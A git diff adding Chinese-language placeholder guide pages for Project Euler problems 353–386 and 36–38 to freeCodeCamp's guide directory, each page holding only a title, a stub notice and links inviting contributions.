+## 问题353：危险的月亮
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-353-risky-moon/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-354-distances-in-a-bees-honeycomb/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-354-distances-in-a-bees-honeycomb/index.md
new file mode 100644
index 0000000000..510d013d73
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-354-distances-in-a-bees-honeycomb/index.md
@@ -0,0 +1,9 @@
+---
+title: Distances in a bee's honeycomb
+localeTitle: 蜜蜂蜂窝中的距离
+---
+## 问题354：蜜蜂蜂窝中的距离
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-354-distances-in-a-bees-honeycomb/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-355-maximal-coprime-subset/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-355-maximal-coprime-subset/index.md
new file mode 100644
index 0000000000..fbc82f8e80
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-355-maximal-coprime-subset/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximal coprime subset
+localeTitle: 最大互质子集
+---
+## 问题355：最大互质子集
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-355-maximal-coprime-subset/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-356-largest-roots-of-cubic-polynomials/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-356-largest-roots-of-cubic-polynomials/index.md
new file mode 100644
index 0000000000..0338243a81
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-356-largest-roots-of-cubic-polynomials/index.md
@@ -0,0 +1,9 @@
+---
+title: Largest roots of cubic polynomials
+localeTitle: 立方多项式的最大根
+---
+## 问题356：三次多项式的最大根
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-356-largest-roots-of-cubic-polynomials/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-357-prime-generating-integers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-357-prime-generating-integers/index.md
new file mode 100644
index 0000000000..0c9f41045f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-357-prime-generating-integers/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime generating integers
+localeTitle: Prime生成整数
+---
+## 问题357：Prime生成整数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-357-prime-generating-integers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-358-cyclic-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-358-cyclic-numbers/index.md
new file mode 100644
index 0000000000..1a1a390c79
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-358-cyclic-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Cyclic numbers
+localeTitle: 循环数
+---
+## 问题358：循环数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-358-cyclic-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-359-hilberts-new-hotel/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-359-hilberts-new-hotel/index.md
new file mode 100644
index 0000000000..4a26e6e0ab
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-359-hilberts-new-hotel/index.md
@@ -0,0 +1,9 @@
+---
+title: Hilbert's New Hotel
+localeTitle: 希尔伯特的新酒店
+---
+## 问题359：希尔伯特的新酒店
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-359-hilberts-new-hotel/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-36-double-base-palindromes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-36-double-base-palindromes/index.md
new file mode 100644
index 0000000000..7dc7bc04ee
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-36-double-base-palindromes/index.md
@@ -0,0 +1,9 @@
+---
+title: Double-base palindromes
+localeTitle: 双碱回文
+---
+## 问题36：双基回文
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-36-double-base-palindromes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-360-scary-sphere/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-360-scary-sphere/index.md
new file mode 100644
index 0000000000..e26c1c77ec
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-360-scary-sphere/index.md
@@ -0,0 +1,9 @@
+---
+title: Scary Sphere
+localeTitle: 可怕的球体
+---
+## 问题360：可怕的球体
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-360-scary-sphere/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-361-subsequence-of-thue-morse-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-361-subsequence-of-thue-morse-sequence/index.md
new file mode 100644
index 0000000000..149c7891a6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-361-subsequence-of-thue-morse-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Subsequence of Thue-Morse sequence
+localeTitle: Thue-Morse序列的后续序列
+---
+## 问题361：Thue-Morse序列的子序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-361-subsequence-of-thue-morse-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-362-squarefree-factors/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-362-squarefree-factors/index.md
new file mode 100644
index 0000000000..e8e7335216
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-362-squarefree-factors/index.md
@@ -0,0 +1,9 @@
+---
+title: Squarefree factors
+localeTitle: 无广场因素
+---
+## 问题362：无广义因子
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-362-squarefree-factors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-363-bzier-curves/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-363-bzier-curves/index.md
new file mode 100644
index 0000000000..e73ff357de
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-363-bzier-curves/index.md
@@ -0,0 +1,9 @@
+---
+title: Bézier Curves
+localeTitle: BézierCurves
+---
+## 问题363：Bézier曲线
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-363-bzier-curves/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-364-comfortable-distance/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-364-comfortable-distance/index.md
new file mode 100644
index 0000000000..081646590b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-364-comfortable-distance/index.md
@@ -0,0 +1,9 @@
+---
+title: Comfortable distance
+localeTitle: 舒适的距离
+---
+## 问题364：舒适的距离
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-364-comfortable-distance/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-365-a-huge-binomial-coefficient/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-365-a-huge-binomial-coefficient/index.md
new file mode 100644
index 0000000000..8824881f46
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-365-a-huge-binomial-coefficient/index.md
@@ -0,0 +1,9 @@
+---
+title: A huge binomial coefficient
+localeTitle: 一个巨大的二项式系数
+---
+## 问题365：巨大的二项式系数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-365-a-huge-binomial-coefficient/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-366-stone-game-iii/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-366-stone-game-iii/index.md
new file mode 100644
index 0000000000..3a55e3ef52
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-366-stone-game-iii/index.md
@@ -0,0 +1,9 @@
+---
+title: Stone Game III
+localeTitle: 石游戏III
+---
+## 问题366：石头游戏III
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-366-stone-game-iii/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-367-bozo-sort/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-367-bozo-sort/index.md
new file mode 100644
index 0000000000..1360134e53
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-367-bozo-sort/index.md
@@ -0,0 +1,9 @@
+---
+title: Bozo sort
+localeTitle: Bozo排序
+---
+## 问题367：Bozo排序
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-367-bozo-sort/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-368-a-kempner-like-series/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-368-a-kempner-like-series/index.md
new file mode 100644
index 0000000000..46b7d39406
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-368-a-kempner-like-series/index.md
@@ -0,0 +1,9 @@
+---
+title: A Kempner-like series
+localeTitle: 像肯普纳一样的系列
+---
+## 问题368：类似肯珀纳的系列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-368-a-kempner-like-series/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-369-badugi/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-369-badugi/index.md
new file mode 100644
index 0000000000..17a3a1408c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-369-badugi/index.md
@@ -0,0 +1,9 @@
+---
+title: Badugi
+localeTitle: 的Badugi
+---
+## 问题369：Badugi
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-369-badugi/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-37-truncatable-primes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-37-truncatable-primes/index.md
new file mode 100644
index 0000000000..5a76ddf00d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-37-truncatable-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Truncatable primes
+localeTitle: 可截断的素数
+---
+## 问题37：可截断的素数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-37-truncatable-primes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-370-geometric-triangles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-370-geometric-triangles/index.md
new file mode 100644
index 0000000000..99fbef40a4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-370-geometric-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Geometric triangles
+localeTitle: 几何三角形
+---
+## 问题370：几何三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-370-geometric-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-371-licence-plates/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-371-licence-plates/index.md
new file mode 100644
index 0000000000..7f6f8edb98
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-371-licence-plates/index.md
@@ -0,0 +1,9 @@
+---
+title: Licence plates
+localeTitle: 平牌
+---
+## 问题371：车牌
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-371-licence-plates/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-372-pencils-of-rays/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-372-pencils-of-rays/index.md
new file mode 100644
index 0000000000..d58b29b3b9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-372-pencils-of-rays/index.md
@@ -0,0 +1,9 @@
+---
+title: Pencils of rays
+localeTitle: 光芒的铅笔
+---
+## 问题372：光线笔
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-372-pencils-of-rays/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-373-circumscribed-circles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-373-circumscribed-circles/index.md
new file mode 100644
index 0000000000..19728f7aef
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-373-circumscribed-circles/index.md
@@ -0,0 +1,9 @@
+---
+title: Circumscribed Circles
+localeTitle: 圈出的圆圈
+---
+## 问题373：外接圆圈
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-373-circumscribed-circles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-374-maximum-integer-partition-product/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-374-maximum-integer-partition-product/index.md
new file mode 100644
index 0000000000..b96c993d6f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-374-maximum-integer-partition-product/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum Integer Partition Product
+localeTitle: 最大整数分区产品
+---
+## 问题374：最大整数分区产品
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-374-maximum-integer-partition-product/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-375-minimum-of-subsequences/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-375-minimum-of-subsequences/index.md
new file mode 100644
index 0000000000..bcebbeb6fa
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-375-minimum-of-subsequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Minimum of subsequences
+localeTitle: 最小的子序列
+---
+## 问题375：最小子序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-375-minimum-of-subsequences/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-376-nontransitive-sets-of-dice/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-376-nontransitive-sets-of-dice/index.md
new file mode 100644
index 0000000000..d3c72bfd0c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-376-nontransitive-sets-of-dice/index.md
@@ -0,0 +1,9 @@
+---
+title: Nontransitive sets of dice
+localeTitle: 不传递的骰子
+---
+## 问题376：不可传递的骰子集
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-376-nontransitive-sets-of-dice/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-377-sum-of-digits-experience-13/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-377-sum-of-digits-experience-13/index.md
new file mode 100644
index 0000000000..1dfa5483d1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-377-sum-of-digits-experience-13/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of digits, experience 13
+localeTitle: 数字之和，经验13
+---
+## 问题377：数字之和，经验13
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-377-sum-of-digits-experience-13/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-378-triangle-triples/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-378-triangle-triples/index.md
new file mode 100644
index 0000000000..d7f81fda3a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-378-triangle-triples/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangle Triples
+localeTitle: 三角三重奏
+---
+## 问题378：三角形三元组
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-378-triangle-triples/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-379-least-common-multiple-count/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-379-least-common-multiple-count/index.md
new file mode 100644
index 0000000000..edbbbed130
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-379-least-common-multiple-count/index.md
@@ -0,0 +1,9 @@
+---
+title: Least common multiple count
+localeTitle: 最常见的多重计数
+---
+## 问题379：最少共同的多重计数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-379-least-common-multiple-count/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-38-pandigital-multiples/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-38-pandigital-multiples/index.md
new file mode 100644
index 0000000000..19c3244e51
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-38-pandigital-multiples/index.md
@@ -0,0 +1,9 @@
+---
+title: Pandigital multiples
+localeTitle: 多个Pandigital
+---
+## 问题38：Pandigital倍数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-38-pandigital-multiples/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-380-amazing-mazes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-380-amazing-mazes/index.md
new file mode 100644
index 0000000000..daab0ac567
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-380-amazing-mazes/index.md
@@ -0,0 +1,9 @@
+---
+title: Amazing Mazes!
+localeTitle: 惊人的迷宫！
+---
+## 问题380：惊人的迷宫！
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-380-amazing-mazes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-381-prime-k-factorial/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-381-prime-k-factorial/index.md
new file mode 100644
index 0000000000..87a7088424
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-381-prime-k-factorial/index.md
@@ -0,0 +1,9 @@
+---
+title: (prime-k) factorial
+localeTitle: （素数k）阶乘
+---
+## 问题381：（prime-k）阶乘
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-381-prime-k-factorial/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-382-generating-polygons/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-382-generating-polygons/index.md
new file mode 100644
index 0000000000..c321b3feef
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-382-generating-polygons/index.md
@@ -0,0 +1,9 @@
+---
+title: Generating polygons
+localeTitle: 生成多边形
+---
+## 问题382：生成多边形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-382-generating-polygons/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-383-divisibility-comparison-between-factorials/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-383-divisibility-comparison-between-factorials/index.md
new file mode 100644
index 0000000000..895abc61c4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-383-divisibility-comparison-between-factorials/index.md
@@ -0,0 +1,9 @@
+---
+title: Divisibility comparison between factorials
+localeTitle: 阶乘之间的可比性比较
+---
+## 问题383：阶乘之间的可比性比较
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-383-divisibility-comparison-between-factorials/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-384-rudin-shapiro-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-384-rudin-shapiro-sequence/index.md
new file mode 100644
index 0000000000..dee2e554ef
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-384-rudin-shapiro-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Rudin-Shapiro sequence
+localeTitle: Rudin-Shapiro序列
+---
+## 问题384：Rudin-Shapiro序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-384-rudin-shapiro-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-385-ellipses-inside-triangles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-385-ellipses-inside-triangles/index.md
new file mode 100644
index 0000000000..3fbed161b7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-385-ellipses-inside-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Ellipses inside triangles
+localeTitle: 三角形内的椭圆
+---
+## 问题385：三角形内的椭圆
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-385-ellipses-inside-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-386-maximum-length-of-an-antichain/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-386-maximum-length-of-an-antichain/index.md
new file mode 100644
index 0000000000..44a64273af
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-386-maximum-length-of-an-antichain/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum length of an antichain
+localeTitle: 最大长度的反链
+---
+## 问题386：反链的最大长度
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-386-maximum-length-of-an-antichain/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
